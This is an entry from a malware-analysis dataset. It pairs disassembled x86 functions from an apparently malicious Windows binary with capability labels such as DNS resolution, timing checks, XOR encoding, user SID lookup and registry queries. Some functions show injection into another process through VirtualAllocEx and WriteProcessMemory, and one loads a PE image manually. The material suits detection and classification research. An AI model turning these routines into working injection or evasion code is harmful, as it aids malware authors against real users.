joyce8/EMBER2024-capa huggingface dataset:
Function at 0x82df2
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.iphlpapi.dll
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x82e10
cmp eax, 0xffffffff
jne 0x82e17
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x82ef1
cmp eax, 0xffffffff
je 0x82ef1
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x82ef1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x4000
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esi
call edi
test eax, eax
jne 0x82ef1
mov edi, dword [ebp - 4]
and dword [ebp - 8], eax
add edi, 0x10c
je 0x82ede
lea esi, [edi + 4]
test esi, esi
je 0x82ed8
push 2
pop eax
push 0x35
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x82ea5
cmp eax, 0xffffffff
jne 0x82eba
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x82ed8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x82ed8
cmp eax, 0xffffffff
je 0x82ed8
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.00082ceb
pop ecx
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x82ede
mov edi, dword [edi]
test edi, edi
jne 0x82e78
push dword [ebp - 4]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
jmp 0x82ef3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x830b5
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push esi
mov esi, 0x80
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.0008ee2a
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
pop esi
test eax, eax
je 0x830f6
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret
xor eax, eax
leave
ret

Function at 0x830fa
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, eax
jmp 0x83122
call edi
sub eax, ebx
cmp eax, 0x1388
jae 0x8312e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [esp + 0x14]
call esi
test eax, eax
jne 0x8310f
pop edi
pop esi
pop ebx
ret
Function at 0x83f18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x83f7c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x83f86
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x83f86
cmp ebx, dword [ebp + 0x14]
jne 0x83f86
xor eax, eax
inc eax
jmp 0x83f88
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x83f8c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x83ff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x83ffa
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x83ffa
cmp ebx, dword [ebp + 0x14]
jne 0x83ffa
xor eax, eax
inc eax
jmp 0x83ffc
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x84000
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
or dword [esi], 0xffffffff
push 0
push 0x40000080
push 3
push 0
push 3
push 0xc0000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x84057
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x84052
cmp eax, 3
je 0x84052
cmp eax, 5
je 0x84059
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x8400b
xor eax, eax
pop edi
pop esi
ret
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x84054

Function at 0x84bd1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
mov esi, ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0xc
jmp 0x84bff
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x84c08
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x84bec
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x862b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x862d2
xor eax, eax
jmp 0x86375
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x862cb
mov eax, dword [ebp + 0xc]
sub eax, dword [ecx + 0x34]
mov edx, dword [ecx + 0xa4]
and dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xa0]
push ebx
add eax, edi
push esi
mov dword [ebp - 0x14], edx
test edx, edx
je 0x8636a
mov edx, dword [eax + 4]
add dword [ebp - 8], edx
mov esi, dword [eax]
and dword [ebp - 4], 0
add edx, 0xfffffff8
shr edx, 1
add esi, edi
test edx, edx
jle 0x8635f
mov edi, dword [ebp - 4]
movzx edi, word [eax + edi*2 + 8]
mov ebx, edi
shr ebx, 0xc
test ebx, ebx
je 0x86354
cmp ebx, 3
je 0x86335
cmp ebx, 0xa
jne 0x86378
and edi, 0xfff
add edi, esi
mov dword [ebp - 0x10], edi
mov edi, dword [edi]
mov ebx, edi
sub ebx, dword [ecx + 0x34]
cmp ebx, dword [ecx + 0x50]
ja 0x86378
add edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x8631a
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
add eax, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
jb 0x86303
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x34], eax
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret
xor eax, eax
jmp 0x86373

Function at 0x8637c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
jne 0x8638a
xor eax, eax
leave
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x50]
push 4
mov esi, 0x1000
push esi
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x863f5
push ebx
push edi
push eax
call fcn.0008ee08
add esp, 0xc
push 0x40
push esi
push ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x863f5
push esi
push dword [ebp - 4]
call fcn.000862b7
pop ecx
pop ecx
push 0
push ebx
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x863f9
xor eax, eax
jmp 0x8640b
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
sub esi, edi
add esi, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x86410
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x86421
xor eax, eax
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x8643a
mov eax, 0x14c
cmp word [edi + 4], ax
je 0x8643e
xor eax, eax
pop edi
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [edi + 0x50]
push dword [edi + 0x34]
call esi
mov ebx, eax
test ebx, ebx
jne 0x86472
push 4
push 0x1000
push dword [edi + 0x50]
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x864fc
push 0x14
call fcn.0008ebcc
mov esi, eax
xor eax, eax
pop ecx
cmp esi, eax
je 0x864fc
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push ebx
call fcn.0008ee08
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x3c]
push esi
add eax, ebx
push edi
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], ebx
call fcn.00085ec5
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x864c9
push eax
push esi
call fcn.00085feb
pop ecx
pop ecx
push esi
call fcn.00086069
pop ecx
test eax, eax
je 0x864f5
push esi
call fcn.00085f3f
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
pop ecx
test eax, eax
je 0x86503
add eax, ebx
je 0x864f5
push 0
xor edi, edi
inc edi
push edi
push ebx
call eax
test eax, eax
jne 0x86500
push esi
call fcn.00086246
pop ecx
xor eax, eax
jmp 0x86505
mov dword [esi + 0x10], edi
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x86987
Capabilities:
Enumerate pe sections
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx esi, word [eax + 6]
movzx ecx, word [eax + 0x14]
dec esi
imul esi, esi, 0x28
lea ecx, [ecx + eax + 0x18]
mov eax, dword [ebp + 0x14]
add esi, ecx
mov ebx, dword [esi + 0x14]
sub eax, ebx
mov dword [ebp - 4], eax
cmp ebx, dword [ebp + 0x10]
jae 0x869e0
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x869e0
xor edx, edx
div ecx
mov dword [ebp - 8], ecx
mov dword [ebp + 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp + 0x14], eax
jge 0x869d5
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x14]
imul eax, ecx
mov dword [esi + 0x10], eax
jmp 0x869e4
and dword [ebp + 0x14], 0
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
test eax, eax
je 0x86a4d
cmp dword [ebp - 4], ebx
jne 0x86a4d
cmp dword [ebp + 0x14], 0
je 0x86a3c
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x14]
push dword [ebp - 8]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call edi
test eax, eax
mov eax, dword [ebp - 4]
je 0x86a40
cmp eax, dword [ebp - 8]
jne 0x86a40
add ebx, eax
dec dword [ebp + 0x14]
jne 0x86a10
mov eax, ebx
jmp 0x86a5b
add ebx, eax
cmp ebx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, ebx
jmp 0x86a5b
cmp dword [ebp + 0x14], 0
je 0x86a59
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x86a60
Capabilities:
Delete file
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x86b8c
mov al, byte [esi]
mov byte [ebp - 4], al
mov al, byte [esi + 1]
mov byte [ebp - 3], al
mov al, byte [esi + 2]
push edi
mov edi, dword [ebp + 0x10]
mov byte [ebp - 2], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x86b1d
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
push ebx
push eax
call fcn.0008eb0e
add esp, 0x10
cmp edx, ebx
jl 0x86b1d
jg 0x86ae7
cmp eax, 0x6400000
jbe 0x86afd
call fcn.0008eca5
xor edx, edx
mov ecx, 0x500000
div ecx
lea edi, [edx + 0xa00000]
jmp 0x86b1d
cmp edx, ebx
jl 0x86b1d
jg 0x86b0a
cmp eax, 0x3200000
jbe 0x86b1d
call fcn.0008eca5
mov edi, eax
and edi, 0x1fffff
add edi, 0x300000
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.00086987
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0x86b56
mov dword [0x92180], 0x55020102
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x9217c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x86b7f
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0x86b86
mov dword [0x92180], 0x55020103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x9217c], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
pop edi
jmp 0x86ba3
mov dword [0x92180], 0x55020101
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x9217c], eax
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x86ba7
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [0x930ac]
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
je 0x86bc0
xor eax, eax
leave
ret
push esi
lea eax, [ebp - 4]
push eax
xor esi, esi
push esi
call dword [0x930ac]
pop ecx
pop ecx
test eax, eax
je 0x86bdb
xor eax, eax
jmp 0x86c6c
push ebx
push dword [ebp - 4]
call fcn.0008ebcc
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x86c03
lea eax, [ebp - 4]
push eax
push ebx
call dword [0x930ac]
pop ecx
pop ecx
test eax, eax
je 0x86c07
push ebx
call fcn.0008ec2e
pop ecx
xor eax, eax
jmp 0x86c6b
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x86c34
push ebx
call fcn.0008ec2e
xor eax, eax
jmp 0x86c69
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x86c5a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x86c2a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0008ec2e
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x86c6f
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
push 7
xor ecx, ecx
mov eax, edx
pop esi
mov edi, edx
and edi, 0xf
xor ecx, edi
shr edx, 4
dec esi
jne 0x86c7c
and eax, 0xfffffff
shl ecx, 0x1c
pop edi
or eax, ecx
pop esi
ret

Function at 0x86c96
Capabilities:
Encode data using xor

Disassembly:
push 8
xor eax, eax
pop ecx
mov edx, dword [esp + 4]
shr dword [esp + 4], 4
and edx, 0xf
xor eax, edx
dec ecx
jne 0x86c9b
ret

Function at 0x86cc9
Capabilities:
Get common file path

Disassembly:
cmp byte [0x92e08], 0
push edi
mov edi, 0x92e08
jne 0x86dbe
push esi
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
test eax, eax
je 0x86d12
push esi
push edi
call eax
test eax, eax
je 0x86d12
cmp byte [0x92e08], 0
jne 0x86d99
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x86d27
cmp byte [0x92e08], 0
jne 0x86d99
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, 0xe4
mov esi, 0x922f8
lea ebp, [ebx + 0x1c]
test eax, eax
je 0x86d4b
cmp byte [0x92e08], 0
jne 0x86d71
push 0xc8
push ebx
push 0xb
push 0x90664
push esi
call fcn.00082544
push eax
push edi
call fcn.0008ef00
push ebp
push 0
push esi
call fcn.0008ee2a
add esp, 0x28
push 0xc8
push ebx
push 0xb
push 0x90658
push esi
call fcn.00082544
push eax
push edi
call fcn.0008ef1e
push ebp
push 0
push esi
call fcn.0008ee2a
add esp, 0x28
pop ebp
pop ebx
mov eax, edi
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x86d9f
sub eax, ecx
cmp byte [eax + 0x92e07], 0x5c
je 0x86dbe
mov byte [eax + 0x92e08], 0x5c
mov byte [eax + 0x92e09], dl
mov eax, edi
pop edi
ret
Function at 0x86dc2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x92f0c]
sub esp, 0x104
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x86e33
call fcn.00086cc9
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0008ef00
pop ecx
lea eax, [ebp - 0x104]
pop ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x86df4
sub eax, edx
cmp eax, 3
jb 0x86e24
push ebx
push ebx
push ebx
push ebx
push 0x92f0c
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
mov byte [ebp - 0x101], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x86e2e
mov dword [0x92f0c], 0x55555555
mov eax, dword [0x92f0c]
pop ebx
leave
ret

Function at 0x86e36
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x358]
push eax
or esi, 0xffffffff
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x86ebe
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
mov dword [ebp - 4], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x86ebe
cmp dword [ebp - 4], 0xc
jb 0x86ebb
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp + 8]
jne 0x86ebb
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x86eb7
cmp dword [ebp - 4], 0x1c
jb 0x86ebb
cmp dword [ebp - 0x38], eax
jne 0x86ebb
xor esi, esi
jmp 0x86ebe
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret

Function at 0x86edd
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x92048]
sub esp, 0x10
push ebx
xor ebx, ebx
cmp eax, ebx
jge 0x86f5c
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x86f44
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x86f3b
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov dword [0x92048], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [0x92048]
cmp eax, ebx
je 0x86f5c
push ebx
push 0x12
call fcn.00086e36
pop ecx
pop ecx
mov dword [0x92048], eax
pop ebx
leave
ret
Function at 0x86f5f
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x87047
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x86f8d
sub eax, edx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
mov dword [ebp + 8], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x87025
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x90690
push eax
call fcn.0008ef00
inc dword [ebp + 0xc]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidA
test eax, eax
je 0x87025
mov eax, dword [ebp - 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x86ff7
sub eax, ecx
mov dword [ebp + 8], eax
inc eax
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
add eax, esi
push eax
call fcn.0008ee08
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], eax
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.00086edd
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x9068c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
jmp 0x87049
xor eax, eax
pop esi
leave
ret
Function at 0x880c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
mov dword [0x92c3c], ebx
mov dword [0x92c38], ebx
call fcn.00086ec3
test eax, eax
jne 0x880f9
call fcn.00087ee6
jmp 0x88225
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push 0x90264
call fcn.0008704c
add esp, 0x14
test eax, eax
jle 0x88225
cmp byte [ebp - 0x134], bl
je 0x88225
cmp byte [ebp - 0x30], bl
je 0x88225
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x906ac
mov edi, 0x922f8
push edi
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x88216
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x881f7
cmp dword [ebp - 0xc], 1
jne 0x881f7
cmp dword [ebp - 4], ebx
jbe 0x881f7
push dword [ebp - 4]
call fcn.0008ebcc
pop ecx
mov dword [0x92c3c], eax
cmp eax, ebx
je 0x8820d
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x881f7
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x881cd
sub eax, edx
inc eax
push eax
call fcn.0008ebcc
pop ecx
mov dword [0x92c38], eax
cmp eax, ebx
je 0x8820d
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.0008ef00
pop ecx
jmp 0x8820c
mov eax, dword [0x92c3c]
cmp eax, ebx
je 0x8820d
push eax
call fcn.0008ec2e
mov dword [0x92c3c], ebx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push edi
call fcn.0008ee2a
add esp, 0xc
cmp byte [str.C:WindowsSysWOW64_vamjdockmtggjumh.exe], bl
je 0x8826c
cmp dword [0x921a4], ebx
jne 0x8826c
push ebx
lea eax, [ebp - 0x10]
push eax
push str.C:WindowsSysWOW64_vamjdockmtggjumh.exe
call fcn.0008675c
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x8826c
mov esi, dword [ebp - 0x10]
push ebx
push esi
push edi
call fcn.000824c2
push edi
mov dword [0x922d4], eax
mov dword [0x921a4], esi
call fcn.0008ec2e
add esp, 0x10
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret